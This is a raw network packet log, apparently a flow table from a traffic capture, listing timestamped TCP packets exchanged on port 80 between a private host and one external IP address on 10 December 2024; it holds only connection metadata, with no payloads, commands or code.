Dec 10, 2024 05:10:29.271586895 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.271663904 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.271708965 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.272424936 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.272470951 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.272594929 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.272635937 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.273442030 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.273485899 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.273550034 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.273595095 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.274467945 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.274516106 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.274574995 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.274617910 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.275502920 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.275551081 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.275588036 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.275666952 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.276499987 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.276546955 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.276577950 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.276623011 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.277565002 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.277614117 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.277700901 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.277745962 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.278553963 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.278601885 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.278667927 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.278713942 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.279587030 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.279640913 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.279674053 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.279719114 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.280601978 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.280647993 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.280706882 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.280749083 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.281618118 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.281661034 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.281723976 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.281763077 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.282661915 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.282704115 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.282783031 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.282823086 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.283679008 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.283721924 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.283801079 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.283843994 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.284704924 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.284746885 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.284809113 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.284862995 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.285710096 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.285751104 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.285818100 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.285856962 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.286741972 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.286782980 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.286839008 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.286879063 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.287781000 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.287822962 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.287878036 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.287915945 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.288779020 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.288814068 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.288865089 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.288902998 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.289810896 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.289854050 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.289896965 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.289936066 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.290839911 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.290882111 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.290920019 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.291084051 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.291862965 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.291906118 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.291982889 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.292032003 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.292886972 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.292928934 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.292983055 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.293021917 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.293996096 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.294035912 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.294112921 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.294147015 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.294926882 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.294967890 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.295042992 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.295079947 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.295932055 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.295973063 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.296056986 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.296096087 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.297027111 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.297066927 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.297127962 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.297167063 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.297993898 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.298033953 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.298094034 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.298132896 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.299000025 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.299046993 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.299122095 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.299163103 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.300050974 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.300090075 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.300151110 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.300189972 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.301054001 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.301093102 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.301156044 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.301193953 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.302076101 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.302114010 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.302175999 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.302212000 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.303133965 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.303169966 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.303220034 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.303257942 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.304127932 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.304167986 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.304260969 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.304299116 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.305222988 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.305262089 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.305334091 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.305373907 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.306186914 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.306226015 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.306276083 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.306313038 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.307212114 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.307252884 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.307321072 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.307358980 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.308228016 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.308265924 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.308332920 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.308370113 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.309323072 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.309366941 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.309398890 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.309441090 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.310270071 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.310321093 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.310350895 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.310394049 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.436249971 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.436320066 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.436364889 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.436459064 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.436876059 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.436923027 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.436991930 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.437046051 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.437764883 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.437809944 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.437875032 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.437921047 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.438752890 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.438813925 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.452604055 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.452622890 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.452686071 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.452721119 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.453100920 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.453177929 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.453217030 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.453433037 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.454113960 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.454175949 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.454205036 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.454252958 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.455122948 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.455168009 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.455240965 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.455291033 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.456166029 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.456212997 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.456290960 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.456355095 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.457201958 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.457251072 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.457305908 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.457354069 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.458275080 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.458324909 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.458369970 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.458425999 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.459299088 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.459342957 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.459414959 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.459462881 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.460268974 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.460325956 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.460354090 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.460395098 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.461277008 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.461330891 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.461366892 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.461401939 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.462301970 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.462352991 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.462404966 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.462471008 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.463340998 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.463399887 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.463428020 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.463473082 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.464350939 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.464416981 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.464442968 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.464483023 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.465406895 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.465466022 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.465492964 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.465528965 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.466466904 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.466530085 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.466552973 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.466587067 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.467441082 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.467484951 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.467513084 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.467564106 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.468444109 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.468559027 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.468607903 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.469465017 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.469578981 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.469630003 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.470477104 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.470619917 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.470668077 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.471518040 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.471637964 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.471684933 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.472625971 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.472676992 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.472753048 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.472796917 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.473563910 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.473679066 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.473727942 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.474581003 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.474685907 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.474739075 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.475589991 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.475641012 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.475697994 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.475737095 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.476619005 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.476663113 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.476721048 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.476766109 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.477650881 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.477696896 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.477762938 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.477804899 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.478653908 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.478693962 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.478764057 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.478807926 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.479692936 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.479743004 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.479788065 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.479826927 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.480711937 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.480756998 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.480839968 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.480884075 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.481751919 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.481800079 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.481842995 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.481883049 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.482749939 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.482793093 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.482856989 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.482899904 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.483820915 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.483866930 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.483897924 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.483932972 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.484827042 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.484869957 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.484941006 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.484982014 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.485837936 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.485877991 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.485935926 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.485975027 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.486845016 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.486886978 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.486948013 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.486989021 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.487886906 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.487930059 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.488012075 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.488054037 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.488919020 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.488957882 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.489017010 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.489061117 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.489923000 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.489970922 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.490036011 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.490076065 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.490998983 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.491048098 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.491055965 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.491094112 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.491961956 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.492006063 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.492075920 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.492115974 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.493017912 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.493063927 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.493108988 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.493148088 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.494029999 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.494106054 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.494121075 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.494159937 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.495039940 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.495088100 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.495140076 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.495178938 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.496078014 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.496123075 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.496258974 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.496303082 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.497127056 CET	80	49874	185.215.113.16	192.168.2.5
